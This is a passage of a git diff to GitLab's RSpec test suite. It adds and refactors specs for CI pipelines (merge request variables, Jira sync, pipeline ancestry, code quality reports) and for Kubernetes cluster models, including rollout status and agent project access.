+ 'CI_MERGE_REQUEST_PROJECT_ID' => merge_request.project.id.to_s,
+ 'CI_MERGE_REQUEST_PROJECT_PATH' => merge_request.project.full_path,
+ 'CI_MERGE_REQUEST_PROJECT_URL' => merge_request.project.web_url,
+ 'CI_MERGE_REQUEST_TARGET_BRANCH_NAME' => merge_request.target_branch.to_s,
+ 'CI_MERGE_REQUEST_TARGET_BRANCH_SHA' => merge_request.target_branch_sha,
+ 'CI_MERGE_REQUEST_SOURCE_PROJECT_ID' => merge_request.source_project.id.to_s,
+ 'CI_MERGE_REQUEST_SOURCE_PROJECT_PATH' => merge_request.source_project.full_path,
+ 'CI_MERGE_REQUEST_SOURCE_PROJECT_URL' => merge_request.source_project.web_url,
+ 'CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' => merge_request.source_branch.to_s,
+ 'CI_MERGE_REQUEST_SOURCE_BRANCH_SHA' => merge_request.source_branch_sha,
+ 'CI_MERGE_REQUEST_TITLE' => merge_request.title,
+ 'CI_MERGE_REQUEST_ASSIGNEES' => merge_request.assignee_username_list,
+ 'CI_MERGE_REQUEST_MILESTONE' => milestone.title,
+ 'CI_MERGE_REQUEST_LABELS' => labels.map(&:title).sort.join(','),
+ 'CI_MERGE_REQUEST_EVENT_TYPE' => 'merged_result')
+ end
- it 'does not expose labels variable' do
- expect(subject.to_hash.keys).not_to include('CI_MERGE_REQUEST_LABELS')
+ it 'exposes diff variables' do
+ expect(subject.to_hash)
+ .to include(
+ 'CI_MERGE_REQUEST_DIFF_ID' => merge_request.merge_request_diff.id.to_s,
+ 'CI_MERGE_REQUEST_DIFF_BASE_SHA' => merge_request.merge_request_diff.base_commit_sha)
end
end
end
@@ -1126,6 +1251,40 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
end
+ describe 'synching status to Jira' do
+ let(:worker) { ::JiraConnect::SyncBuildsWorker }
+
+ %i[prepare! run! skip! drop! succeed! cancel! block! delay!].each do |event|
+ context "when we call pipeline.#{event}" do
+ it 'triggers a Jira synch worker' do
+ expect(worker).to receive(:perform_async).with(pipeline.id, Integer)
+
+ pipeline.send(event)
+ end
+
+ context 'the feature is disabled' do
+ it 'does not trigger a worker' do
+ stub_feature_flags(jira_sync_builds: false)
+
+ expect(worker).not_to receive(:perform_async)
+
+ pipeline.send(event)
+ end
+ end
+
+ context 'the feature is enabled for this project' do
+ it 'does trigger a worker' do
+ stub_feature_flags(jira_sync_builds: pipeline.project)
+
+ expect(worker).to receive(:perform_async)
+
+ pipeline.send(event)
+ end
+ end
+ end
+ end
+ end
+
describe '#duration', :sidekiq_inline do
context 'when multiple builds are finished' do
before do
@@ -2539,6 +2698,14 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
it 'receives a pending event once' do
expect(WebMock).to have_requested_pipeline_hook('pending').once
end
+
+ it 'builds hook data once' do
+ create(:pipelines_email_service, project: project)
+
+ expect(Gitlab::DataBuilder::Pipeline).to receive(:build).once.and_call_original
+
+ pipeline.execute_hooks
+ end
end
context 'when build is run' do
@@ -2600,6 +2767,12 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
it 'did not execute pipeline_hook after touched' do
expect(WebMock).not_to have_requested(:post, hook.url)
end
+
+ it 'does not build hook data' do
+ expect(Gitlab::DataBuilder::Pipeline).not_to receive(:build)
+
+ pipeline.execute_hooks
+ end
end
def create_build(name, stage_idx)
@@ -2734,6 +2907,93 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
end
+ describe '#related_merge_requests' do
+ let(:project) { create(:project, :repository) }
+ let(:merge_request) { create(:merge_request, source_project: project, source_branch: 'feature', target_branch: 'master') }
+ let(:other_merge_request) { create(:merge_request, source_project: project, source_branch: 'feature', target_branch: 'stable') }
+ let(:branch_pipeline) { create(:ci_pipeline, project: project, ref: 'feature') }
+ let(:merge_pipeline) { create(:ci_pipeline, :detached_merge_request_pipeline, merge_request: merge_request) }
+
+ context 'for a branch pipeline' do
+ subject { branch_pipeline.related_merge_requests }
+
+ it 'when no merge request is created' do
+ is_expected.to be_empty
+ end
+
+ it 'when another merge requests are created' do
+ merge_request
+ other_merge_request
+
+ is_expected.to contain_exactly(merge_request, other_merge_request)
+ end
+ end
+
+ context 'for a merge pipeline' do
+ subject { merge_pipeline.related_merge_requests }
+
+ it 'when only merge pipeline is created' do
+ merge_pipeline
+
+ is_expected.to contain_exactly(merge_request)
+ end
+
+ it 'when a merge request is created' do
+ merge_pipeline
+ other_merge_request
+
+ is_expected.to contain_exactly(merge_request, other_merge_request)
+ end
+ end
+ end
+
+ describe '#open_merge_requests_refs' do
+ let(:project) { create(:project) }
+ let(:user) { create(:user) }
+ let!(:pipeline) { create(:ci_pipeline, user: user, project: project, ref: 'feature') }
+ let!(:merge_request) { create(:merge_request, source_project: project, source_branch: 'feature', target_branch: 'master') }
+
+ subject { pipeline.open_merge_requests_refs }
+
+ context 'when user is a developer' do
+ before do
+ project.add_developer(user)
+ end
+
+ it 'returns open merge requests' do
+ is_expected.to eq([merge_request.to_reference(full: true)])
+ end
+
+ it 'does not return closed merge requests' do
+ merge_request.close!
+
+ is_expected.to be_empty
+ end
+
+ context 'limits amount of returned merge requests' do
+ let!(:other_merge_requests) do
+ Array.new(4) do |idx|
+ create(:merge_request, source_project: project, source_branch: 'feature', target_branch: "master-#{idx}")
+ end
+ end
+
+ let(:other_merge_requests_refs) do
+ other_merge_requests.map { |mr| mr.to_reference(full: true) }
+ end
+
+ it 'returns only last 4 in a reverse order' do
+ is_expected.to eq(other_merge_requests_refs.reverse)
+ end
+ end
+ end
+
+ context 'when user does not have permissions' do
+ it 'does not return any merge requests' do
+ is_expected.to be_empty
+ end
+ end
+ end
+
describe '#same_family_pipeline_ids' do
subject { pipeline.same_family_pipeline_ids.map(&:id) }
@@ -2744,13 +3004,9 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
context 'when pipeline is child' do
- let(:parent) { create(:ci_pipeline, project: pipeline.project) }
- let(:sibling) { create(:ci_pipeline, project: pipeline.project) }
-
- before do
- create_source_pipeline(parent, pipeline)
- create_source_pipeline(parent, sibling)
- end
+ let(:parent) { create(:ci_pipeline, project: project) }
+ let!(:pipeline) { create(:ci_pipeline, child_of: parent) }
+ let!(:sibling) { create(:ci_pipeline, child_of: parent) }
it 'returns parent sibling and self ids' do
expect(subject).to contain_exactly(parent.id, pipeline.id, sibling.id)
@@ -2758,11 +3014,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
context 'when pipeline is parent' do
- let(:child) { create(:ci_pipeline, project: pipeline.project) }
-
- before do
- create_source_pipeline(pipeline, child)
- end
+ let!(:child) { create(:ci_pipeline, child_of: pipeline) }
it 'returns self and child ids' do
expect(subject).to contain_exactly(pipeline.id, child.id)
@@ -2770,17 +3022,11 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
context 'when pipeline is a child of a child pipeline' do
- let(:ancestor) { create(:ci_pipeline, project: pipeline.project) }
- let(:parent) { create(:ci_pipeline, project: pipeline.project) }
- let(:cousin_parent) { create(:ci_pipeline, project: pipeline.project) }
- let(:cousin) { create(:ci_pipeline, project: pipeline.project) }
-
- before do
- create_source_pipeline(ancestor, parent)
- create_source_pipeline(ancestor, cousin_parent)
- create_source_pipeline(parent, pipeline)
- create_source_pipeline(cousin_parent, cousin)
- end
+ let(:ancestor) { create(:ci_pipeline, project: project) }
+ let!(:parent) { create(:ci_pipeline, child_of: ancestor) }
+ let!(:pipeline) { create(:ci_pipeline, child_of: parent) }
+ let!(:cousin_parent) { create(:ci_pipeline, child_of: ancestor) }
+ let!(:cousin) { create(:ci_pipeline, child_of: cousin_parent) }
it 'returns all family ids' do
expect(subject).to contain_exactly(
@@ -2790,11 +3036,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
context 'when pipeline is a triggered pipeline' do
- let(:upstream) { create(:ci_pipeline, project: create(:project)) }
-
- before do
- create_source_pipeline(upstream, pipeline)
- end
+ let!(:upstream) { create(:ci_pipeline, project: create(:project), upstream_of: pipeline)}
it 'returns self id' do
expect(subject).to contain_exactly(pipeline.id)
@@ -2802,6 +3044,46 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
end
+ describe '#root_ancestor' do
+ subject { pipeline.root_ancestor }
+
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
+
+ context 'when pipeline is child of child pipeline' do
+ let!(:root_ancestor) { create(:ci_pipeline, project: project) }
+ let!(:parent_pipeline) { create(:ci_pipeline, child_of: root_ancestor) }
+ let!(:pipeline) { create(:ci_pipeline, child_of: parent_pipeline) }
+
+ it 'returns the root ancestor' do
+ expect(subject).to eq(root_ancestor)
+ end
+ end
+
+ context 'when pipeline is root ancestor' do
+ let!(:child_pipeline) { create(:ci_pipeline, child_of: pipeline) }
+
+ it 'returns itself' do
+ expect(subject).to eq(pipeline)
+ end
+ end
+
+ context 'when pipeline is standalone' do
+ it 'returns itself' do
+ expect(subject).to eq(pipeline)
+ end
+ end
+
+ context 'when pipeline is multi-project downstream pipeline' do
+ let!(:upstream_pipeline) do
+ create(:ci_pipeline, project: create(:project), upstream_of: pipeline)
+ end
+
+ it 'ignores cross project ancestors' do
+ expect(subject).to eq(pipeline)
+ end
+ end
+ end
+
describe '#stuck?' do
before do
create(:ci_build, :pending, pipeline: pipeline)
@@ -2838,7 +3120,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
stub_feature_flags(ci_store_pipeline_messages: false)
end
- it ' does not add pipeline error message' do
+ it 'does not add pipeline error message' do
pipeline.add_error_message('The error message')
expect(pipeline.messages).to be_empty
@@ -3343,6 +3625,16 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
])
end
+ it 'does not execute N+1 queries' do
+ single_build_pipeline = create(:ci_empty_pipeline, status: :created, project: project)
+ single_rspec = create(:ci_build, :success, name: 'rspec', pipeline: single_build_pipeline, project: project)
+ create(:ci_job_artifact, :cobertura, job: single_rspec, project: project)
+
+ control = ActiveRecord::QueryRecorder.new { single_build_pipeline.coverage_reports }
+
+ expect { subject }.not_to exceed_query_limit(control)
+ end
+
context 'when builds are retried' do
let!(:build_rspec) { create(:ci_build, :retried, :success, name: 'rspec', pipeline: pipeline, project: project) }
let!(:build_golang) { create(:ci_build, :retried, :success, name: 'golang', pipeline: pipeline, project: project) }
@@ -3360,6 +3652,39 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
end
+ describe '#codequality_reports' do
+ subject(:codequality_reports) { pipeline.codequality_reports }
+
+ context 'when pipeline has multiple builds with codequality reports' do
+ let(:build_rspec) { create(:ci_build, :success, name: 'rspec', pipeline: pipeline, project: project) }
+ let(:build_golang) { create(:ci_build, :success, name: 'golang', pipeline: pipeline, project: project) }
+
+ before do
+ create(:ci_job_artifact, :codequality, job: build_rspec, project: project)
+ create(:ci_job_artifact, :codequality_without_errors, job: build_golang, project: project)
+ end
+
+ it 'returns codequality report with collected data' do
+ expect(codequality_reports.degradations_count).to eq(3)
+ end
+
+ context 'when builds are retried' do
+ let(:build_rspec) { create(:ci_build, :retried, :success, name: 'rspec', pipeline: pipeline, project: project) }
+ let(:build_golang) { create(:ci_build, :retried, :success, name: 'golang', pipeline: pipeline, project: project) }
+
+ it 'returns a codequality reports without degradations' do
+ expect(codequality_reports.degradations).to be_empty
+ end
+ end
+ end
+
+ context 'when pipeline does not have any builds with codequality reports' do
+ it 'returns codequality reports without degradations' do
+ expect(codequality_reports.degradations).to be_empty
+ end
+ end
+ end
+
describe '#total_size' do
let!(:build_job1) { create(:ci_build, pipeline: pipeline, stage_idx: 0) }
let!(:build_job2) { create(:ci_build, pipeline: pipeline, stage_idx: 0) }
@@ -3509,18 +3834,9 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
describe '#parent_pipeline' do
let_it_be(:project) { create(:project) }
- let(:pipeline) { create(:ci_pipeline, project: project) }
-
context 'when pipeline is triggered by a pipeline from the same project' do
- let(:upstream_pipeline) { create(:ci_pipeline, project: pipeline.project) }
-
- before do
- create(:ci_sources_pipeline,
- source_pipeline: upstream_pipeline,
- source_project: project,
- pipeline: pipeline,
- project: project)
- end
+ let_it_be(:upstream_pipeline) { create(:ci_pipeline, project: project) }
+ let_it_be(:pipeline) { create(:ci_pipeline, child_of: upstream_pipeline) }
it 'returns the parent pipeline' do
expect(pipeline.parent_pipeline).to eq(upstream_pipeline)
@@ -3532,15 +3848,8 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
context 'when pipeline is triggered by a pipeline from another project' do
- let(:upstream_pipeline) { create(:ci_pipeline) }
-
- before do
- create(:ci_sources_pipeline,
- source_pipeline: upstream_pipeline,
- source_project: upstream_pipeline.project,
- pipeline: pipeline,
- project: project)
- end
+ let(:pipeline) { create(:ci_pipeline, project: project) }
+ let!(:upstream_pipeline) { create(:ci_pipeline, project: create(:project), upstream_of: pipeline) }
it 'returns nil' do
expect(pipeline.parent_pipeline).to be_nil
@@ -3552,6 +3861,8 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
context 'when pipeline is not triggered by a pipeline' do
+ let_it_be(:pipeline) { create(:ci_pipeline) }
+
it 'returns nil' do
expect(pipeline.parent_pipeline).to be_nil
end
@@ -3851,4 +4162,70 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
bridge
end
end
+
+ describe 'test failure history processing' do
+ it 'performs the service asynchronously when the pipeline is completed' do
+ service = double
+
+ expect(Ci::TestFailureHistoryService).to receive(:new).with(pipeline).and_return(service)
+ expect(service).to receive_message_chain(:async, :perform_if_needed)
+
+ pipeline.succeed!
+ end
+ end
+
+ describe '#latest_test_report_builds' do
+ it 'returns pipeline builds with test report artifacts' do
+ test_build = create(:ci_build, :test_reports, pipeline: pipeline, project: project)
+ create(:ci_build, :artifacts, pipeline: pipeline, project: project)
+
+ expect(pipeline.latest_test_report_builds).to contain_exactly(test_build)
+ end
+
+ it 'preloads project on each build to avoid N+1 queries' do
+ create(:ci_build, :test_reports, pipeline: pipeline, project: project)
+
+ control_count = ActiveRecord::QueryRecorder.new do
+ pipeline.latest_test_report_builds.map(&:project).map(&:full_path)
+ end
+
+ multi_build_pipeline = create(:ci_empty_pipeline, status: :created, project: project)
+ create(:ci_build, :test_reports, pipeline: multi_build_pipeline, project: project)
+ create(:ci_build, :test_reports, pipeline: multi_build_pipeline, project: project)
+
+ expect { multi_build_pipeline.latest_test_report_builds.map(&:project).map(&:full_path) }
+ .not_to exceed_query_limit(control_count)
+ end
+ end
+
+ describe '#builds_with_failed_tests' do
+ it 'returns pipeline builds with test report artifacts' do
+ failed_build = create(:ci_build, :failed, :test_reports, pipeline: pipeline, project: project)
+ create(:ci_build, :success, :test_reports, pipeline: pipeline, project: project)
+
+ expect(pipeline.builds_with_failed_tests).to contain_exactly(failed_build)
+ end
+
+ it 'supports limiting the number of builds to fetch' do
+ create(:ci_build, :failed, :test_reports, pipeline: pipeline, project: project)
+ create(:ci_build, :failed, :test_reports, pipeline: pipeline, project: project)
+
+ expect(pipeline.builds_with_failed_tests(limit: 1).count).to eq(1)
+ end
+
+ it 'preloads project on each build to avoid N+1 queries' do
+ create(:ci_build, :failed, :test_reports, pipeline: pipeline, project: project)
+
+ control_count = ActiveRecord::QueryRecorder.new do
+ pipeline.builds_with_failed_tests.map(&:project).map(&:full_path)
+ end
+
+ multi_build_pipeline = create(:ci_empty_pipeline, status: :created, project: project)
+ create(:ci_build, :failed, :test_reports, pipeline: multi_build_pipeline, project: project)
+ create(:ci_build, :failed, :test_reports, pipeline: multi_build_pipeline, project: project)
+
+ expect { multi_build_pipeline.builds_with_failed_tests.map(&:project).map(&:full_path) }
+ .not_to exceed_query_limit(control_count)
+ end
+ end
end
diff --git a/spec/models/clusters/agent_spec.rb b/spec/models/clusters/agent_spec.rb
index 148bb3cf870..49f41570717 100644
--- a/spec/models/clusters/agent_spec.rb
+++ b/spec/models/clusters/agent_spec.rb
@@ -57,4 +57,16 @@ RSpec.describe Clusters::Agent do
end
end
end
+
+ describe '#has_access_to?' do
+ let(:agent) { build(:cluster_agent) }
+
+ it 'has access to own project' do
+ expect(agent.has_access_to?(agent.project)).to be_truthy
+ end
+
+ it 'does not have access to other projects' do
+ expect(agent.has_access_to?(create(:project))).to be_falsey
+ end
+ end
end
diff --git a/spec/models/clusters/applications/helm_spec.rb b/spec/models/clusters/applications/helm_spec.rb
index ad1ebd4966a..5212e321a55 100644
--- a/spec/models/clusters/applications/helm_spec.rb
+++ b/spec/models/clusters/applications/helm_spec.rb
@@ -19,35 +19,9 @@ RSpec.describe Clusters::Applications::Helm do
end
describe '#can_uninstall?' do
- context "with other existing applications" do
- Clusters::Cluster::APPLICATIONS.keys.each do |application_name|
- next if application_name == 'helm'
+ subject(:application) { build(:clusters_applications_helm).can_uninstall? }
- it "is false when #{application_name} is installed" do
- cluster_application = create("clusters_applications_#{application_name}".to_sym)
-
- helm = cluster_application.cluster.application_helm
-
- expect(helm.allowed_to_uninstall?).to be_falsy
- end
- end
-
- it 'executes a single query only' do
- cluster_application = create(:clusters_applications_ingress)
- helm = cluster_application.cluster.application_helm
-
- query_count = ActiveRecord::QueryRecorder.new { helm.allowed_to_uninstall? }.count
- expect(query_count).to eq(1)
- end
- end
-
- context "without other existing applications" do
- subject { helm.can_uninstall? }
-
- let(:helm) { create(:clusters_applications_helm) }
-
- it { is_expected.to be_truthy }
- end
+ it { is_expected.to eq true }
end
describe '#issue_client_cert' do
@@ -135,14 +109,4 @@ RSpec.describe Clusters::Applications::Helm do
end
end
end
-
- describe '#post_uninstall' do
- let(:helm) { create(:clusters_applications_helm, :installed) }
-
- it do
- expect(helm.cluster.kubeclient).to receive(:delete_namespace).with('gitlab-managed-apps')
-
- helm.post_uninstall
- end
- end
end
diff --git a/spec/models/clusters/cluster_spec.rb b/spec/models/clusters/cluster_spec.rb
index ed74a841044..a8f81cba285 100644
--- a/spec/models/clusters/cluster_spec.rb
+++ b/spec/models/clusters/cluster_spec.rb
@@ -262,14 +262,14 @@ RSpec.describe Clusters::Cluster, :use_clean_rails_memory_store_caching do
end
end
- describe '.with_project_alert_service_data' do
- subject { described_class.with_project_alert_service_data(project_id) }
+ describe '.with_project_http_integrations' do
+ subject { described_class.with_project_http_integrations(project_id) }
let!(:cluster) { create(:cluster, :project) }
let!(:project_id) { cluster.first_project.id }
context 'project has alert service data' do
- let!(:alerts_service) { create(:alerts_service, project: cluster.clusterable) }
+ let!(:integration) { create(:alert_management_http_integration, project: cluster.clusterable) }
it { is_expected.to include(cluster) }
end
diff --git a/spec/models/clusters/platforms/kubernetes_spec.rb b/spec/models/clusters/platforms/kubernetes_spec.rb
index e877ba2ac96..fb0613187c5 100644
--- a/spec/models/clusters/platforms/kubernetes_spec.rb
+++ b/spec/models/clusters/platforms/kubernetes_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Clusters::Platforms::Kubernetes do
include KubernetesHelpers
+ include ReactiveCachingHelpers
it { is_expected.to belong_to(:cluster) }
it { is_expected.to be_kind_of(Gitlab::Kubernetes) }
@@ -406,32 +407,62 @@ RSpec.describe Clusters::Platforms::Kubernetes do
end
describe '#calculate_reactive_cache_for' do
+ let(:cluster) { create(:cluster, :project, platform_kubernetes: service) }
let(:service) { create(:cluster_platform_kubernetes, :configured) }
+ let(:namespace) { 'project-namespace' }
+ let(:environment) { instance_double(Environment, deployment_namespace: namespace, project: cluster.project) }
let(:expected_pod_cached_data) do
kube_pod.tap { |kp| kp['metadata'].delete('namespace') }
end
- let(:namespace) { "project-namespace" }
- let(:environment) { instance_double(Environment, deployment_namespace: namespace, project: service.cluster.project) }
-
subject { service.calculate_reactive_cache_for(environment) }
- context 'when the kubernetes integration is disabled' do
+ context 'when kubernetes responds with valid deployments' do
before do
- allow(service).to receive(:enabled?).and_return(false)
+ stub_kubeclient_pods(namespace)
+ stub_kubeclient_deployments(namespace)
+ stub_kubeclient_ingresses(namespace)
end
- it { is_expected.to be_nil }
+ shared_examples 'successful deployment request' do
+ it { is_expected.to include(pods: [expected_pod_cached_data], deployments: [kube_deployment], ingresses: [kube_ingress]) }
+ end
+
+ context 'on a project level cluster' do
+ let(:cluster) { create(:cluster, :project, platform_kubernetes: service) }
+
+ include_examples 'successful deployment request'
+ end
+
+ context 'on a group level cluster' do
+ let(:cluster) { create(:cluster, :group, platform_kubernetes: service) }
+
+ include_examples 'successful deployment request'
+ end
+
+ context 'on an instance level cluster' do
+ let(:cluster) { create(:cluster, :instance, platform_kubernetes: service) }
+
+ include_examples 'successful deployment request'
+ end
+
+ context 'when canary_ingress_weight_control feature flag is disabled' do
+ before do
+ stub_feature_flags(canary_ingress_weight_control: false)
+ end
+
+ it 'does not fetch ingress data from kubernetes' do
+ expect(subject[:ingresses]).to be_empty
+ end
+ end
end
- context 'when kubernetes responds with valid pods and deployments' do
+ context 'when the kubernetes integration is disabled' do
before do
- stub_kubeclient_pods(namespace)
- stub_kubeclient_deployments(namespace)
- stub_kubeclient_ingresses(namespace)
+ allow(service).to receive(:enabled?).and_return(false)
end
- it { is_expected.to include(pods: [expected_pod_cached_data]) }
+ it { is_expected.to be_nil }
end
context 'when kubernetes responds with 500s' do
@@ -451,7 +482,351 @@ RSpec.describe Clusters::Platforms::Kubernetes do
stub_kubeclient_ingresses(namespace, status: 404)
end
- it { is_expected.to include(pods: []) }
+ it { is_expected.to eq(pods: [], deployments: [], ingresses: []) }
+ end
+ end
+
+ describe '#rollout_status' do
+ let(:deployments) { [] }
+ let(:pods) { [] }
+ let(:ingresses) { [] }
+ let(:service) { create(:cluster_platform_kubernetes, :configured) }
+ let!(:cluster) { create(:cluster, :project, enabled: true, platform_kubernetes: service) }
+ let(:project) { cluster.project }
+ let(:environment) { build(:environment, project: project, name: "env", slug: "env-000000") }
+ let(:cache_data) { Hash(deployments: deployments, pods: pods, ingresses: ingresses) }
+
+ subject(:rollout_status) { service.rollout_status(environment, cache_data) }
+
+ context 'legacy deployments based on app label' do
+ let(:legacy_deployment) do
+ kube_deployment(name: 'legacy-deployment').tap do |deployment|
+ deployment['metadata']['annotations'].delete('app.gitlab.com/env')
+ deployment['metadata']['annotations'].delete('app.gitlab.com/app')
+ deployment['metadata']['labels']['app'] = environment.slug
+ end
+ end
+
+ let(:legacy_pod) do
+ kube_pod(name: 'legacy-pod').tap do |pod|
+ pod['metadata']['annotations'].delete('app.gitlab.com/env')
+ pod['metadata']['annotations'].delete('app.gitlab.com/app')
+ pod['metadata']['labels']['app'] = environment.slug
+ end
+ end
+
+ context 'only legacy deployments' do
+ let(:deployments) { [legacy_deployment] }
+ let(:pods) { [legacy_pod] }
+
+ it 'contains nothing' do
+ expect(rollout_status).to be_kind_of(::Gitlab::Kubernetes::RolloutStatus)
+
+ expect(rollout_status.deployments).to eq([])
+ end
+ end
+
+ context 'deployment with no pods' do
+ let(:deployment) { kube_deployment(name: 'some-deployment', environment_slug: environment.slug, project_slug: project.full_path_slug) }
+ let(:deployments) { [deployment] }
+ let(:pods) { [] }
+
+ it 'returns a valid status with matching deployments' do
+ expect(rollout_status).to be_kind_of(::Gitlab::Kubernetes::RolloutStatus)
+ expect(rollout_status.deployments.map(&:name)).to contain_exactly('some-deployment')
+ end
+ end
+
+ context 'new deployment based on annotations' do
+ let(:matched_deployment) { kube_deployment(name: 'matched-deployment', environment_slug: environment.slug, project_slug: project.full_path_slug) }
+ let(:matched_pod) { kube_pod(environment_slug: environment.slug, project_slug: project.full_path_slug) }
+ let(:deployments) { [matched_deployment, legacy_deployment] }
+ let(:pods) { [matched_pod, legacy_pod] }
+
+ it 'contains only matching deployments' do
+ expect(rollout_status).to be_kind_of(::Gitlab::Kubernetes::RolloutStatus)
+
+ expect(rollout_status.deployments.map(&:name)).to contain_exactly('matched-deployment')
+ end
+ end
+ end
+
+ context 'with no deployments but there are pods' do
+ let(:deployments) do
+ []
+ end
+
+ let(:pods) do
+ [
+ kube_pod(name: 'pod-1', environment_slug: environment.slug, project_slug: project.full_path_slug),
+ kube_pod(name: 'pod-2', environment_slug: environment.slug, project_slug: project.full_path_slug)
+ ]
+ end
+
+ it 'returns an empty array' do
+ expect(rollout_status.instances).to eq([])
+ end
+ end
+
+ context 'with valid deployments' do
+ let(:matched_deployment) { kube_deployment(environment_slug: environment.slug, project_slug: project.full_path_slug, replicas: 2) }
+ let(:unmatched_deployment) { kube_deployment }
+ let(:matched_pod) { kube_pod(environment_slug: environment.slug, project_slug: project.full_path_slug, status: 'Pending') }
+ let(:unmatched_pod) { kube_pod(environment_slug: environment.slug + '-test', project_slug: project.full_path_slug) }
+ let(:deployments) { [matched_deployment, unmatched_deployment] }
+ let(:pods) { [matched_pod, unmatched_pod] }
+
+ it 'creates a matching RolloutStatus' do
+ expect(rollout_status).to be_kind_of(::Gitlab::Kubernetes::RolloutStatus)
+ expect(rollout_status.deployments.map(&:annotations)).to eq([
+ { 'app.gitlab.com/app' => project.full_path_slug, 'app.gitlab.com/env' => 'env-000000' }
+ ])
+ expect(rollout_status.instances).to eq([{ pod_name: "kube-pod",
+ stable: true,
+ status: "pending",
+ tooltip: "kube-pod (Pending)",
+ track: "stable" },
+ { pod_name: "Not provided",
+ stable: true,
+ status: "pending",
+ tooltip: "Not provided (Pending)",
+ track: "stable" }])
+ end
+
+ context 'with canary ingress' do
+ let(:ingresses) { [kube_ingress(track: :canary)] }
+
+ it 'has canary ingress' do
+ expect(rollout_status).to be_canary_ingress_exists
+ expect(rollout_status.canary_ingress.canary_weight).to eq(50)
+ end
+ end
+ end
+
+ context 'with empty list of deployments' do
+ it 'creates a matching RolloutStatus' do
+ expect(rollout_status).to be_kind_of(::Gitlab::Kubernetes::RolloutStatus)
+ expect(rollout_status).to be_not_found
+ end
+ end
+
+ context 'when the pod track does not match the deployment track' do
+ let(:deployments) do
+ [
+ kube_deployment(name: 'deployment-a', environment_slug: environment.slug, project_slug: project.full_path_slug, replicas: 1, track: 'weekly')
+ ]
+ end
+
+ let(:pods) do
+ [
+ kube_pod(name: 'pod-a-1', environment_slug: environment.slug, project_slug: project.full_path_slug, track: 'weekly'),
+ kube_pod(name: 'pod-a-2', environment_slug: environment.slug, project_slug: project.full_path_slug, track: 'daily')
+ ]
+ end
+
+ it 'does not return the pod' do
+ expect(rollout_status.instances.map { |p| p[:pod_name] }).to eq(['pod-a-1'])
+ end
+ end
+
+ context 'when the pod track is not stable' do
+ let(:deployments) do
+ [
+ kube_deployment(name: 'deployment-a', environment_slug: environment.slug, project_slug: project.full_path_slug, replicas: 1, track: 'something')
+ ]
+ end
+
+ let(:pods) do
+ [
+ kube_pod(name: 'pod-a-1', environment_slug: environment.slug, project_slug: project.full_path_slug, track: 'something')
+ ]
+ end
+
+ it 'the pod is not stable' do
+ expect(rollout_status.instances.map { |p| p.slice(:stable, :track) }).to eq([{ stable: false, track: 'something' }])
+ end
+ end
+
+ context 'when the pod track is stable' do
+ let(:deployments) do
+ [
+ kube_deployment(name: 'deployment-a', environment_slug: environment.slug, project_slug: project.full_path_slug, replicas: 1, track: 'stable')
+ ]
+ end
+
+ let(:pods) do
+ [
+ kube_pod(name: 'pod-a-1', environment_slug: environment.slug, project_slug: project.full_path_slug, track: 'stable')
+ ]
+ end
+
+ it 'the pod is stable' do
+ expect(rollout_status.instances.map { |p| p.slice(:stable, :track) }).to eq([{ stable: true, track: 'stable' }])
+ end
+ end
+
+ context 'when the pod track is not provided' do
+ let(:deployments) do
+ [
+ kube_deployment(name: 'deployment-a', environment_slug: environment.slug, project_slug: project.full_path_slug, replicas: 1)
+ ]
+ end
+
+ let(:pods) do
+ [
+ kube_pod(name: 'pod-a-1', environment_slug: environment.slug, project_slug: project.full_path_slug)
+ ]
+ end
+
+ it 'the pod is stable' do
+ expect(rollout_status.instances.map { |p| p.slice(:stable, :track) }).to eq([{ stable: true, track: 'stable' }])
+ end
+ end
+
+ context 'when the number of matching pods does not match the number of replicas' do
+ let(:deployments) do
+ [
+ kube_deployment(name: 'deployment-a', environment_slug: environment.slug, project_slug: project.full_path_slug, replicas: 3)
+ ]
+ end
+
+ let(:pods) do
+ [
+ kube_pod(name: 'pod-a-1', environment_slug: environment.slug, project_slug: project.full_path_slug)
+ ]
+ end
+
+ it 'returns a pending pod for each missing replica' do
+ expect(rollout_status.instances.map { |p| p.slice(:pod_name, :status) }).to eq([
+ { pod_name: 'pod-a-1', status: 'running' },
+ { pod_name: 'Not provided', status: 'pending' },
+ { pod_name: 'Not provided', status: 'pending' }
+ ])
+ end
+ end
+
+ context 'when pending pods are returned for missing replicas' do
+ let(:deployments) do
+ [
+ kube_deployment(name: 'deployment-a', environment_slug: environment.slug, project_slug: project.full_path_slug, replicas: 2, track: 'canary'),
+ kube_deployment(name: 'deployment-b', environment_slug: environment.slug, project_slug: project.full_path_slug, replicas: 2, track: 'stable')
+ ]
+ end
+
+ let(:pods) do
+ [
+ kube_pod(name: 'pod-a-1', environment_slug: environment.slug, project_slug: project.full_path_slug, track: 'canary')
+ ]
+ end
+
+ it 'returns the correct track for the pending pods' do
+ expect(rollout_status.instances.map { |p| p.slice(:pod_name, :status, :track) }).to eq([
+ { pod_name: 'pod-a-1', status: 'running', track: 'canary' },
+ { pod_name: 'Not provided', status: 'pending', track: 'canary' },
+ { pod_name: 'Not provided', status: 'pending', track: 'stable' },
+ { pod_name: 'Not provided', status: 'pending', track: 'stable' }
+ ])
+ end
+ end
+
+ context 'when two deployments with the same track are missing instances' do
+ let(:deployments) do
+ [
+ kube_deployment(name: 'deployment-a', environment_slug: environment.slug, project_slug: project.full_path_slug, replicas: 1, track: 'mytrack'),
